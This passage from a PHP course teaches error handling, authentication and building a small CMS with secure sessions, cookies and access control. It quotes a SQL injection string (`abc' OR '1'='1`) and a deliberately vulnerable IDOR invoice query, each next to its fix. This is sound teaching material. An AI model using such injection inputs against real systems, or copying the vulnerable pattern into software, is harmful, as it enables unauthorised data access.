- **Input validation** verifies that user input meets your criteria before it is accepted. It prevents injection attacks, XSS, data corruption and instability.
- **Prepared statements**, not escaping functions, are the correct defence against SQL injection.
- **Password security** requires long, unique, complex passwords, and — in your code — `password_hash()` and `password_verify()`. Never `md5()`, never plain text.
- **XSS** exploits your trust in user input and is prevented by escaping output. **CSRF** exploits the browser's trust in the user's session and is prevented by tokens.
- Never reveal in an error message whether an email address exists in your system.

Application of learning 2.3

A company's existing PHP application stores passwords with `md5()`, builds SQL queries by concatenating `$_POST` values, and echoes user comments directly onto the page. You are asked

to audit and repair it. Identify each vulnerability, explain the attack it permits, and rewrite the affected code.

2.4 Errors and exceptions in PHP

Duration: 5 hours

Practical activity 2.4.1 — Handling PHP exceptions and errors

Key reading 2.4.1 — Handling PHP exceptions and errors

1. Introduction

In PHP an **error** represents a problem occurring during the execution of a script. Errors disrupt the normal flow of a program and are important indicators that something has gone wrong. PHP categorises errors into types with varying levels of severity.

An **exception** is a special object thrown when an error or exceptional condition occurs. When an exception is thrown, the normal flow of execution is interrupted and PHP searches for a block of code that can handle it.

2. Error reporting

Error reporting is a crucial aspect of development and security. It involves configuring how PHP handles and displays error messages. Proper error reporting helps you debug, but it can also affect the security of an application.

Error reporting levels

Level	Meaning
`E_ERROR`	Fatal runtime errors that stop script execution
`E_WARNING`	Non-fatal runtime errors that do not stop execution
`E_PARSE`	Compile-time parse errors
`E_NOTICE`	Notices indicating possible problems, such as an undefined variable
`E_DEPRECATED`	Warnings about deprecated functions or features
`E_ALL`	All types of error and warning

Configuring it

```php
<?php
// DEVELOPMENT — show everything, so you find your mistakes
error_reporting(E_ALL);
ini_set('display_errors', 1);

// PRODUCTION — show nothing to the user, log everything
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
```

Never leave `display_errors` on in production. PHP error messages reveal file paths, database names, table structures and sometimes credentials — a gift to an attacker. Log the errors instead and show the user a generic message.

3. Defining PHP errors

A PHP error is a structure representing something that went wrong. One easy way to raise one is with `die()`:

```php
<?php
$file = "config.txt";
if (!file_exists($file)) {
    die("Error: the configuration file is missing.");
}
```

This ends the program and reports an error. When a program is ended this way we call it a **fatal error**. You can also raise one with `trigger_error()`:

```php
<?php
function divide($a, $b) {
    if ($b == 0) {
        trigger_error("Division by zero attempted", E_USER_WARNING);
        return null;
    }
    return $a / $b;
}
```

4. Exceptions

Exceptions were introduced in PHP 5. They give easier semantics with `try`, `throw` and `catch`.

```php
<?php
function divide($a, $b) {
    if ($b == 0) {
        throw new InvalidArgumentException("Cannot divide by zero.");
    }
    return $a / $b;
}

try {
    echo divide(10, 2);      // 5
    echo divide(10, 0);      // throws
} catch (InvalidArgumentException $e) {
    echo "Error: " . $e->getMessage();
} finally {
    echo "<br>This always runs, whether or not there was an error.";
}
```

Catching and throwing exceptions is more streamlined than traditional error handling. It also allows **localised** handling: rather than only handling errors globally through `set_error_handler()`, you can surround specific logic with a `try`/`catch` block concerned only with specific exceptions.

Catching several types

```php
<?php
try {
    $pdo = new PDO($dsn, $user, $pass);
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);

} catch (PDOException $e) {
    error_log("Database error: " . $e->getMessage());
    echo "A database error occurred. Please try again.";

} catch (Exception $e) {
    error_log("General error: " . $e->getMessage());
    echo "Something went wrong.";
}
```

Creating your own exception class

```php
<?php
class InsufficientFundsException extends Exception {}

class Account {
    private $balance = 0;

    public function withdraw($amount) {
        if ($amount > $this->balance) {
            throw new InsufficientFundsException(
                "Cannot withdraw {$amount}; the balance is only {$this->balance}."
            );
        }
        $this->balance -= $amount;
        return $this->balance;
    }
}

try {
    $account = new Account();
    $account->withdraw(50000);
} catch (InsufficientFundsException $e) {
    echo $e->getMessage();
}
```

Useful methods on an exception object: `getMessage()`, `getCode()`, `getFile()`, `getLine()`, `getTraceAsString()`.

5. The four types of error in PHP

a) Parse or syntax errors. These mean there are one or more incorrect symbols in your script — a missing semicolon, a misplaced bracket. The script does not run at all.

```php
<?php
$number = 10;
if ($number > 5 {          // missing closing parenthesis
    echo "Greater";
}
// PHP Parse error: syntax error, unexpected '{' in test.php on line 3
```

The error message names the file and the line, which makes the missing parenthesis easy to see.

b) Fatal errors. The script begins running but hits something it cannot continue past — calling a function that does not exist, or instantiating a missing class.

```php
<?php
echo "This line runs.<br>";
undefinedFunction();          // Fatal error: Uncaught Error: Call to undefined function
echo "This line never runs.";
```

c) Warning errors. Something is wrong but the script continues — including a missing file, or dividing by zero in older versions.

```php
<?php
include 'missing_file.php';   // Warning: include(): Failed opening...
echo "The script carries on.";
```

d) Notice errors. Minor issues suggesting a possible bug — most commonly using a variable that was never defined.

```php
<?php
echo $undefinedVariable;      // Warning: Undefined variable $undefinedVariable
```

Notices are easy to ignore, and ignoring them is how small bugs become large ones. Develop with `E_ALL` enabled and fix them as they appear.

6. Custom error and exception handlers

```php
<?php
// Convert PHP errors into exceptions, so one mechanism handles everything
set_error_handler(function ($severity, $message, $file, $line) {
    throw new ErrorException($message, 0, $severity, $file, $line);
});

// Catch anything that escapes every try/catch in the application
set_exception_handler(function ($e) {
    error_log("Uncaught: " . $e->getMessage() . " in " . $e->getFile() . ":" . $e-
>getLine());
    http_response_code(500);
    echo "<h1>Something went wrong</h1><p>Please try again later.</p>";
});
```

Points to remember — Indicative content 2.4

- An **error** is a problem during execution; an **exception** is an object thrown when an exceptional condition occurs, interrupting the normal flow.
- PHP's error reporting levels are `E_ERROR`, `E_WARNING`, `E_PARSE`, `E_NOTICE`, `E_DEPRECATED` and `E_ALL`.
- The four types of error are **parse (syntax)**, **fatal**, **warning** and **notice**.
- Use `try`, `throw` and `catch` for exceptions; `finally` runs either way.
- Show errors in development, **log** them in production. An error message on a live site is an information leak.
- Always read the error message before changing anything. It names the file and the line.

Application of learning 2.4

You are given a PHP script full of errors. Identify each one, state its type, explain the cause, and fix it. Then add exception handling so the script fails gracefully rather than showing raw PHP errors to the user.

2.5 Implementation of user authentication

Duration: 5 hours

Theoretical activity 2.5.1 — Introduction to user authentication and authorisation

Key reading 2.5.1 — User authentication and authorisation

1. Introduction to authentication

User authentication is the process of verifying the identity of a user trying to access a system or application. It ensures users are who they claim to be, allowing them to access resources and perform actions according to their verified identity. Authentication is a fundamental aspect of security in web applications.

The purpose of authentication is to verify that someone or something is who or what they claim to be.

Identity authentication is the process of verifying the identity of a user or service. Based on this, the system provides the user with the appropriate access.

An example. Consider two people working in a coffee shop, Lucia and Rahul. Lucia is the manager and Rahul is the barista. The shop uses a Point of Sale system where staff place orders for preparation. The system must verify Lucia's or Rahul's identity before allowing them into it — perhaps by asking for a username and password, or by having them scan a thumb on a fingerprint reader. Because the shop needs to secure access to its POS, employees must verify their identity through an authentication process.

2. Types of user authentication

1. Password-based authentication. Also known as knowledge-based authentication, this relies on a username and password or a PIN. It is the most common method.

2. Two-factor and multi-factor authentication. Two-factor authentication (2FA) requires at least one additional factor beyond a password. Multi-factor authentication requires two or more. The additional factor may be any of the types listed here, or a one-time password sent by text or email.

3. Biometric authentication. Biometrics uses something the user **is**. It relies less on an easily stolen secret. Biometric identifiers are unique, which makes accounts harder to compromise. Common types include:

- **Fingerprint scanning** — verifies identity from the user's fingerprints.
- **Palm scanning** — identifies users by their unique vein patterns.
- **Facial recognition** — uses facial characteristics for verification.

- **Iris recognition** — scans the eye with infrared and compares the pattern against a saved profile.
- **Behavioural biometrics** — uses how a person walks, types or handles a device.

4. Single sign-on (SSO). SSO lets a user access many applications with one set of credentials. The user has an account with an **identity provider** trusted by the application (the service provider). The service provider does not store the password; the identity provider tells the site, through cookies or tokens, that the user verified with it. SSO reduces the number of credentials a user must remember, which strengthens security.

5. Token-based authentication. Users log in using a physical device such as a smartphone, security key or smart card. It may be part of multi-factor authentication or provide a passwordless experience. Users verify their credentials once for a set period, reducing constant logins.

6. Certificate-based authentication. Uses digital certificates issued by a certificate authority together with public-key cryptography to verify identity. The certificate stores identifying information and the public key; the user holds the private key.

3. Authentication compared with authorisation

These two are constantly confused, and the distinction matters.

	Authentication	Authorisation
The question it answers	Who are you?	What are you allowed to do?
When it happens	First, at login	After authentication, on every action
What it checks	Credentials — password, token, biometric	Roles and permissions
Example	Verifying a password is correct	Checking that this user is an administrator before showing the admin panel

---

Practical activity 2.5.2 — Performing user authentication

Key reading 2.5.2 — A complete authentication system

The database table

```
CREATE TABLE users (
    id         INT AUTO_INCREMENT PRIMARY KEY,
    name       VARCHAR(100) NOT NULL,
    email      VARCHAR(150) NOT NULL UNIQUE,
    password   VARCHAR(255) NOT NULL,
    role       ENUM('user','editor','admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```

`register.php` — creating an account

```php
<?php
session_start();
require_once 'db.php';

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name     = trim($_POST['name']     ?? '');
    $email    = trim($_POST['email']    ?? '');
    $password = $_POST['password']      ?? '';
    $confirm  = $_POST['confirm']       ?? '';

    if ($name === '')                                   $errors[] = "Name is required.";
    if (!filter_var($email, FILTER_VALIDATE_EMAIL))   $errors[] = "A valid email is
required.";
    if (strlen($password) < 8)                          $errors[] =
"Password must be at least 8 characters.";
    if ($password !== $confirm)                         $errors[] = "The passwords do not
match.";

    if (empty($errors)) {
        $check = $pdo->prepare("SELECT id FROM users WHERE email = ?");
        $check->execute([$email]);
        if ($check->fetch()) {
            $errors[] = "That email is already registered.";
        }
    }

    if (empty($errors)) {
        $hash = password_hash($password, PASSWORD_DEFAULT);
        $stmt = $pdo->prepare(
            "INSERT INTO users (name, email, password) VALUES (?, ?, ?)"
        );
        $stmt->execute([$name, $email, $hash]);

        header("Location: login.php?registered=1");
        exit;
    }
}
?>
<!DOCTYPE html>
<html><body style="font-family:sans-serif;margin:40px;">
<h2>Register</h2>
<?php foreach ($errors as $e): ?><p style="color:#c33;"><?= htmlspecialchars($e) ?></p><?php
 endforeach; ?>
<form method="post">
    <p>Name: <input type="text" name="name" required></p>
    <p>Email: <input type="email" name="email" required></p>
    <p>Password: <input type="password" name="password" required></p>
    <p>Confirm: <input type="password" name="confirm" required></p>
    <p><button type="submit">Create account</button></p>
</form>
<p>Already have an account? <a href="login.php">Log in</a></p>
</body></html>
```

`login.php` — signing in

```php
<?php
session_start();
require_once 'db.php';

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email    = trim($_POST['email'] ?? '');
    $password = $_POST['password']   ?? '';

    $stmt = $pdo->prepare("SELECT id, name, password, role FROM users WHERE email = ?");
    $stmt->execute([$email]);
    $user = $stmt->fetch();

    if ($user && password_verify($password, $user['password'])) {

        // Defeat session fixation
        session_regenerate_id(true);

        $_SESSION['user_id']     = $user['id'];
        $_SESSION['user_name']   = $user['name'];
        $_SESSION['user_role']   = $user['role'];
        $_SESSION['last_active'] = time();

        header("Location: dashboard.php");
        exit;
    }

    // Deliberately vague — never say whether the email exists
    $error = "Invalid email or password.";
}
?>
<!DOCTYPE html>
<html><body style="font-family:sans-serif;margin:40px;">
<h2>Log in</h2>
<?php if (isset($_GET['registered'])): ?>
    <p style="color:green;">Account created. Please log in.</p>
<?php endif; ?>
<?php if ($error): ?><p style="color:#c33;"><?= htmlspecialchars($error) ?></p><?php
endif; ?>
<form method="post">
    <p>Email: <input type="email" name="email" required></p>
    <p>Password: <input type="password" name="password" required></p>
    <p><button type="submit">Log in</button></p>
</form>
</body></html>
```

`auth.php` — the guard, included at the top of every protected page

```php
<?php
session_start();

/**
 * Require that a user is logged in. Redirects to login.php if not.
 */
function require_login() {
    if (empty($_SESSION['user_id'])) {
        header("Location: login.php");
        exit;
    }

    // Expire the session after 30 minutes of inactivity
    if (isset($_SESSION['last_active']) && time() - $_SESSION['last_active'] > 1800) {
        session_unset();
        session_destroy();
        header("Location: login.php?msg=expired");
        exit;
    }
    $_SESSION['last_active'] = time();
}

/**
 * Require that the logged-in user holds a particular role.
 */
function require_role($role) {
    require_login();
    if (($_SESSION['user_role'] ?? '') !== $role) {
        http_response_code(403);
        die("You do not have permission to view this page.");
    }
}

function current_user_id()   { return $_SESSION['user_id']   ?? null; }
function current_user_name() { return $_SESSION['user_name'] ?? null; }
function is_admin()          { return ($_SESSION['user_role'] ?? '') === 'admin'; }
```

`dashboard.php` — a protected page

```php
<?php
require_once 'auth.php';
require_login();
?>
<!DOCTYPE html>
<html><body style="font-family:sans-serif;margin:40px;">
    <h2>Welcome, <?= htmlspecialchars(current_user_name()) ?></h2>
    <?php if (is_admin()): ?>
        <p><a href="admin.php">Administration panel</a></p>
    <?php endif; ?>
    <p><a href="logout.php">Log out</a></p>
</body></html>
```

`logout.php`

```php
<?php
session_start();
$_SESSION = [];

// Delete the session cookie as well
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"], $params["secure"], $params["httponly"]);
}

session_destroy();
header("Location: login.php");
exit;
```

Points to remember — Indicative content 2.5

- **Authentication** verifies who a user is; **authorisation** determines what they may do. Authentication comes first.
- The types of authentication are password-based, two-factor and multi-factor, biometric, single sign-on, token-based and certificate-based.
- Hash passwords with `password_hash()` and check them with `password_verify()`.
- Call `session_regenerate_id(true)` immediately after a successful login.
- Keep login error messages vague, so they do not reveal which accounts exist.
- Put the login check in a **function** included at the top of every protected page. A page that forgets the check is a hole in the whole system.

Application of learning 2.5

Build a complete authentication system for a school portal, with registration, login, logout, session expiry and three roles — student, teacher and administrator — each seeing a different dashboard.

LO3 · Build a Content Management System using PHP

Duration: 25 hours

Objectives

By the end of this learning outcome you will be able to describe a content management system, set up a working CMS environment, build dynamic content navigation, manage cookies and sessions, apply the concepts of context and options, regulate page access, detect CMS errors, and maintain a CMS.

3.1 Description of a Content Management System

Duration: 5 hours

Key reading 3.1.1 — Description of a CMS

1. Introduction to CMS

A **Content Management System (CMS)** is a software application that allows users to create, manage and modify the content of a website **without needing specialised technical knowledge**. In PHP, a CMS typically combines server-side scripting (PHP), a database (usually MySQL) and front-end technologies (HTML, CSS, JavaScript) to create a dynamic website.

That definition explains the point of the whole learning outcome: the person who writes a news article should not have to edit an HTML file. The CMS gives them a form.

Key concepts

- **Content management** — organising, storing and retrieving content such as text, images, video and other media.
- **User roles and permissions** — a CMS usually has several roles (administrator, editor, author) with different levels of access to content creation and management.
- **Templates** — these define the layout and appearance of content, giving a consistent design without coding each page by hand.
- **Plugins and extensions** — these add functionality without altering the core system: SEO tools, contact forms, social media integrations.

Well-known PHP content management systems are WordPress, Joomla, Drupal and October CMS. In this learning outcome you build a small one yourself, which is the best way to understand how they all work.

2. Preparing the CMS environment

Blueprint the application. Before coding, plan the architecture. This includes defining the core features, the user roles, the database schema and the overall functionality. The blueprint guides the whole development process.

- **Core features** — identify the essentials: content creation, editing, publishing and user management.
- **Database schema** — design the structure that will store content, user data and settings.
- **User interface design** — plan how the user will interact with the system, focusing on ease of use.

Set up the database. The database is the backbone of a CMS, storing all content, user information and settings.

- **Create the database and tables** — define tables for users, content (posts and pages), categories, tags and settings.
- **Relationships** — establish relationships between tables, such as the one-to-many relationship between users and posts, to ensure data integrity.
- **Security considerations** — implement proper validation and sanitisation to protect against SQL injection and other vulnerabilities.

Set up project files and folders. Organising files is crucial for a clean, manageable codebase.

Directory	Contents
`public/`	Files accessible to the web: `index.php`, stylesheets, JavaScript
`includes/`	Reusable PHP scripts — database connections, functions, configuration
`templates/`	HTML templates defining the layout of different pages
`uploads/`	User-uploaded content such as images and documents

Configuration files. Include a `config.php` holding the database connection details and other global settings.

Version control. Set up Git to track changes and collaborate with other developers. Add `config.php` to `.gitignore` so credentials never reach the repository.

Practical activity 3.1.2 — Setting up a working CMS environment

Key reading 3.1.2 — Setting up the CMS

The complete database schema

```
CREATE DATABASE cms CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
USE cms;

CREATE TABLE admins (
    id              INT AUTO_INCREMENT PRIMARY KEY,
    username        VARCHAR(255) NOT NULL UNIQUE,
    hashed_password VARCHAR(255) NOT NULL,
    role            ENUM('admin','editor') DEFAULT 'editor',
    created_at      DATETIME DEFAULT CURRENT_TIMESTAMP,
    updated_at      DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

CREATE TABLE subjects (
    id            INT AUTO_INCREMENT PRIMARY KEY,
    subject_name  VARCHAR(255) NOT NULL,
    position      INT NOT NULL DEFAULT 0,
    visible       TINYINT(1) NOT NULL DEFAULT 1
);

CREATE TABLE pages (
    id          INT AUTO_INCREMENT PRIMARY KEY,
    subject_id  INT NOT NULL,
    page_name   VARCHAR(255) NOT NULL,
    position    INT NOT NULL DEFAULT 0,
    visible     TINYINT(1) NOT NULL DEFAULT 1,
    content     TEXT,
    created_at  DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (subject_id) REFERENCES subjects(id) ON DELETE CASCADE
);
```

The `ON DELETE CASCADE` means that deleting a subject automatically deletes its pages, so you never end up with orphaned rows.

The folder structure

```
cms/
├── public/
│   ├── index.php
│   ├── page.php
│   ├── login.php
│   ├── logout.php
│   ├── css/style.css
│   └── uploads/
├── includes/
│   ├── config.php
│   ├── db.php
│   ├── functions.php
│   └── auth.php
├── templates/
│   ├── header.php
│   ├── footer.php
│   └── navigation.php
└── admin/
    ├── dashboard.php
    ├── subjects.php
    └── pages.php
```

`includes/db.php`

```
<?php
$config = [
    'host' => 'localhost',
    'name' => 'cms',
    'user' => 'root',
    'pass' => ''
];

try {
    $pdo = new PDO(
        "mysql:host={$config['host']};dbname={$config['name']};charset=utf8mb4",
        $config['user'],
        $config['pass'],
        [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,
        ]
    );
} catch (PDOException $e) {
    error_log($e->getMessage());
    die("The site is temporarily unavailable.");
}
```

`includes/functions.php` — the helpers used everywhere:

```php
<?php
/** Escape a value for safe output in HTML. */
function e($value) {
    return htmlspecialchars($value ?? '', ENT_QUOTES, 'UTF-8');
}

/** Redirect and stop. */
function redirect($url) {
    header("Location: $url");
    exit;
}

/** Fetch all visible subjects, ordered by position. */
function find_subjects(PDO $pdo, $visibleOnly = true) {
    $sql = "SELECT * FROM subjects";
    if ($visibleOnly) { $sql .= " WHERE visible = 1"; }
    $sql .= " ORDER BY position ASC";
    return $pdo->query($sql)->fetchAll();
}

/** Fetch the pages belonging to a subject. */
function find_pages_by_subject(PDO $pdo, $subjectId, $visibleOnly = true) {
    $sql = "SELECT * FROM pages WHERE subject_id = ?";
    if ($visibleOnly) { $sql .= " AND visible = 1"; }
    $sql .= " ORDER BY position ASC";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$subjectId]);
    return $stmt->fetchAll();
}

/** Fetch a single page by ID. */
function find_page_by_id(PDO $pdo, $id, $visibleOnly = true) {
    $sql = "SELECT * FROM pages WHERE id = ?";
    if ($visibleOnly) { $sql .= " AND visible = 1"; }
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$id]);
    return $stmt->fetch();
}
```

Points to remember — Indicative content 3.1

- A CMS lets non-technical users create, manage and modify website content.
- Its key concepts are content management, user roles and permissions, templates, and plugins or extensions.
- Preparing the environment means blueprinting the application, setting up the database, and organising project files into `public/`, `includes/`, `templates/` and `uploads/`.
- Keep configuration in one file, and keep that file out of version control.

3.2 Build dynamic content navigation

Duration: 3 hours

Key reading 3.2.1 — Building dynamic CMS navigation

This section shows how to build a simple content management system in PHP: listing subjects, adding pages for each subject, adding page content, and using navigation to select pages.

1. List the subjects

Step 1 — Create the database and the subjects table (already done above, but repeated here for the standalone exercise):

```
CREATE DATABASE cms;
USE cms;

CREATE TABLE subjects (
    id           INT AUTO_INCREMENT PRIMARY KEY,
    subject_name VARCHAR(255) NOT NULL
);
```

Step 2 — Insert sample subjects:

```
INSERT INTO subjects (subject_name) VALUES
('Mathematics'),
('Science'),
('History'),
('English');
```

Step 3 — Connect to the database using `includes/db.php` as shown above.

Step 4 — List the subjects in a navigation menu:

```php
<?php
// templates/navigation.php
require_once '../includes/db.php';
require_once '../includes/functions.php';

$subjects = find_subjects($pdo);
?>
<nav>
    <ul>
    <?php foreach ($subjects as $subject): ?>
        <li>
            <a href="index.php?subject=<?= (int) $subject['id'] ?>">
                <?= e($subject['subject_name']) ?>
            </a>

            <?php // Show this subject's pages when it is the selected one
            if (isset($_GET['subject']) && (int) $_GET['subject'] === (int) $subject['id']):
                $pages = find_pages_by_subject($pdo, $subject['id']); ?>
                <ul>
                <?php foreach ($pages as $page): ?>
                    <li>
                        <a href="page.php?id=<?= (int) $page['id'] ?>">
                            <?= e($page['page_name']) ?>
                        </a>
                    </li>
                <?php endforeach; ?>
                </ul>
            <?php endif; ?>
        </li>
    <?php endforeach; ?>
    </ul>
</nav>
```

2. Add pages for each subject

```
CREATE TABLE pages (
    id         INT AUTO_INCREMENT PRIMARY KEY,
    subject_id INT NOT NULL,
    page_name  VARCHAR(255) NOT NULL,
    position   INT DEFAULT 0,
    visible    TINYINT(1) DEFAULT 1,
    content    TEXT,
    FOREIGN KEY (subject_id) REFERENCES subjects(id) ON DELETE CASCADE
);

INSERT INTO pages (subject_id, page_name, content) VALUES
(1, 'Algebra',   'Algebra is the branch of mathematics dealing with symbols.'),
(1, 'Geometry',  'Geometry is concerned with shapes, sizes and the properties of space.'),
(2, 'Physics',   'Physics studies matter, energy and their interactions.'),
(3, 'Rwanda 1994','An overview of the events and their aftermath.');
```

3. Display the selected page

```
<?php
// public/page.php
require_once '../includes/db.php';
require_once '../includes/functions.php';

$id = (int) ($_GET['id'] ?? 0);
$page = find_page_by_id($pdo, $id);

if (!$page) {
    http_response_code(404);
    die("<h1>Page not found</h1>");
}
?>
<!DOCTYPE html>
<html>
<head><title><?= e($page['page_name']) ?></title></head>
<body>
    <?php include '../templates/navigation.php'; ?>

    <main>
        <h1><?= e($page['page_name']) ?></h1>
        <div><?= nl2br(e($page['content'])) ?></div>
    </main>
</body>
</html>
```

Notice `(int)` on `$_GET['id']`. Casting the value to an integer means that even if a visitor edits the URL to `page.php?id=abc' OR '1'='1`, the value becomes `0` and nothing harmful reaches the query. It is a second layer behind the prepared statement, and it costs nothing.

Points to remember — Indicative content 3.2

- Dynamic navigation is generated from the database, so adding a subject in the admin panel makes it appear in the menu automatically.
- Highlight the currently selected item by comparing the URL parameter with each item’s ID.
- Cast every ID from the URL to an integer, and use prepared statements regardless.

3.3 Management of cookies and sessions

Duration: 3 hours

> ## Key reading 3.3.1 — Managing cookies and sessions in the CMS

This section integrates session and cookie management into the CMS. The full explanation of how sessions and cookies work is in Key Reading 1.3.1; here they are applied.

The project implements:

1. A **user login system** using sessions to manage authentication.
2. A **“Remember me” feature** using cookies to remember login details.
3. **User preferences**, such as a theme, stored in cookies.
4. **Logout**, unsetting both sessions and cookies.

Database structure

```
CREATE TABLE users (
    id        INT AUTO_INCREMENT PRIMARY KEY,
    username  VARCHAR(50) NOT NULL UNIQUE,
    password  VARCHAR(255) NOT NULL,
    user_role VARCHAR(50) NOT NULL DEFAULT 'editor'
);
```

`login.php` — logging in with session and optional cookie

```
<?php
session_start();
require_once '../includes/db.php';

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    $remember = isset($_POST['remember']);

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$username]);
    $user = $stmt->fetch();

    if ($user && password_verify($password, $user['password'])) {

        session_regenerate_id(true);
        $_SESSION['user_id']   = $user['id'];
        $_SESSION['username']  = $user['username'];
        $_SESSION['user_role'] = $user['user_role'];

        // "Remember me" — store only the username, never the password
        if ($remember) {
            setcookie('remembered_user', $user['username'], [
                'expires'  => time() + (86400 * 30),
                'path'     => '/',
                'httponly' => true,
                'samesite' => 'Strict'
            ]);
        }

        header("Location: admin_dashboard.php");
        exit;
    }

    $error = "Invalid username or password.";
}
?>
<!DOCTYPE html>
<html><body>
<h2>CMS Login</h2>
<?php if ($error): ?><p style="color:#c33;"><?= htmlspecialchars($error) ?></p><?php
endif; ?>
<form method="post">
    <p>Username:
       <input type="text" name="username"
              value="<?= htmlspecialchars($_COOKIE['remembered_user'] ?? '') ?>" required></
p>
    <p>Password: <input type="password" name="password" required></p>
    <p><label><input type="checkbox" name="remember"> Remember me</label></p>
    <p><button type="submit">Log in</button></p>
</form>
</body></html>
```

> A “remember me” cookie must **never** contain the password, and must never contain something like `logged_in=1`, which the user could simply set themselves. Store only the username to pre-fill the form, as above, or — for genuine persistent login — a long random token stored in the database and matched on the next visit.

`admin_dashboard.php` — checking the session and applying a cookie preference

```
<?php
session_start();
require_once '../includes/db.php';

if (empty($_SESSION['user_id'])) {
    header("Location: login.php");
    exit;
}

// Read the theme preference from a cookie, defaulting to light
$theme = $_COOKIE['theme'] ?? 'light';
$bg    = ($theme === 'dark') ? '#1e1e1e' : '#ffffff';
$fg    = ($theme === 'dark') ? '#eeeeee' : '#222222';
?>
<!DOCTYPE html>
<html>
<body style="background:<?= $bg ?>; color:<?= $fg ?>; font-family:sans-serif; padding:
40px;">
    <h2>Welcome, <?= htmlspecialchars($_SESSION['username']) ?></h2>
    <p>Your role: <?= htmlspecialchars($_SESSION['user_role']) ?></p>

    <p>
        Theme:
        <a href="set_theme.php?theme=light">Light</a> |
        <a href="set_theme.php?theme=dark">Dark</a>
    </p>

    <p><a href="logout.php">Log out</a></p>
</body>
</html>
```

`set_theme.php` — storing a preference in a cookie

```
<?php
$theme = ($_GET['theme'] ?? 'light') === 'dark' ? 'dark' : 'light';

setcookie('theme', $theme, [
    'expires'  => time() + (86400 * 365),
    'path'     => '/',
    'samesite' => 'Lax'
]);

header("Location: admin_dashboard.php");
exit;
```

Note the whitelist on the first line: the value is forced to be either `dark` or `light`, so an attacker cannot inject arbitrary content into the cookie and from there into the page’s style attribute.

`logout.php` — ending the session and clearing the cookies

```
<?php
session_start();

$_SESSION = [];

if (ini_get("session.use_cookies")) {
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
              $p["path"], $p["domain"], $p["secure"], $p["httponly"]);
}

session_destroy();
setcookie('remembered_user', '', time() - 3600, '/');

header("Location: login.php");
exit;
```

Points to remember — Indicative content 3.3

- Handle cookies securely, so that user information is protected: use `httponly`, `secure` and `SameSite`.
- Always test session management, confirming that user data is maintained correctly and cleared on logout.
- Implement robust authentication to prevent unauthorised access to the system.
- A cookie is data the user controls. Never trust it for anything that decides access.

3.4 Application of context and options

Duration: 3 hours

Key reading 3.4.1 — Applying the CMS concepts of context and options

1. Public content

Public content is the part of the CMS accessible to all visitors, including those not logged in. Other content may be restricted to certain roles or hidden entirely.

Practical application:

- **Database setup** — add a column recording visibility status, such as `is_public` or `visible` as a boolean.
- **Query modification** — modify your SQL to fetch only public content for visitors who are not logged in.
- **User access logic** — check whether a user is logged in and display restricted content accordingly.

```
<?php
$isLoggedIn = !empty($_SESSION['user_id']);

// Visitors see only visible pages; logged-in editors see everything
$sql = "SELECT * FROM pages WHERE subject_id = ?";
if (!$isLoggedIn) {
    $sql .= " AND visible = 1";
}
$sql .= " ORDER BY position";

$stmt = $pdo->prepare($sql);
$stmt->execute([$subjectId]);
$pages = $stmt->fetchAll();
```

2. Skip hidden subjects and pages

Hidden subjects and pages should not appear on the public site, but may still be reachable in the admin panel or by certain roles.

Practical application:

- **Database setup** — add a `visible` column to the `subjects` and `pages` tables.
- **Query logic** — exclude hidden rows when querying for the public site.
- **Admin view** — make sure hidden items are still visible in the admin panel for editing.

The `find_subjects()` and `find_pages_by_subject()` functions in `includes/functions.php` already take a `$visibleOnly` parameter for exactly this purpose: the public pages call them with `true`, and the admin pages with `false`.

3. Use an option for conditional code

Options let you control different behaviours or outputs depending on conditions.

Practical application:

- **Define options** — store user preferences or options in a database table or a configuration file.
- **Conditional logic** — use those options to modify how the application behaves.

```
<?php
// A settings table: CREATE TABLE settings (name VARCHAR(50) PRIMARY KEY, value TEXT);

function get_setting(PDO $pdo, $name, $default = null) {
    $stmt = $pdo->prepare("SELECT value FROM settings WHERE name = ?");
    $stmt->execute([$name]);
    $row = $stmt->fetch();
    return $row ? $row['value'] : $default;
}

if (get_setting($pdo, 'comments_enabled', '0') === '1') {
    include 'templates/comments.php';
}
```

4. Insecure Direct Object Reference (IDOR)

IDOR is a security vulnerability occurring when an application gives direct access to objects based on user-supplied input. If it is not properly secured, attackers can manipulate that input to reach data they are not authorised to see.

The classic example: a page at `invoice.php?id=1045` shows your invoice. You change the number to `1046` and see somebody else's.

Practical application:

- **Parameter validation** — always validate and sanitise the input.
- **Access control** — implement checks ensuring users can only reach the data they are authorised to view.

```
<?php
// VULNERABLE — anyone can read any invoice by changing the number
$stmt = $pdo->prepare("SELECT * FROM invoices WHERE id = ?");
$stmt->execute([$_GET['id']]);

// SAFE — the query itself restricts the result to this user's own records
$stmt = $pdo->prepare("SELECT * FROM invoices WHERE id = ? AND user_id = ?");
$stmt->execute([(int) $_GET['id'], $_SESSION['user_id']]);

$invoice = $stmt->fetch();
if (!$invoice) {
    http_response_code(404);
    die("Invoice not found.");
}
```

The essential point is that **the ownership check belongs inside the query**. Fetching the record first and then checking who owns it works, but it is easy to forget; putting `AND user_id = ?` in the SQL makes the restriction impossible to bypass.

5. Project page visibility

Page visibility controls whether a page is visible or accessible, according to factors such as user role, project status or page settings.

Practical application:

- **Visibility flags** — use flags in the database to control each page's visibility.
- **Role-based access** — control visibility according to the user's role.

6. Allowing HTML in dynamic content

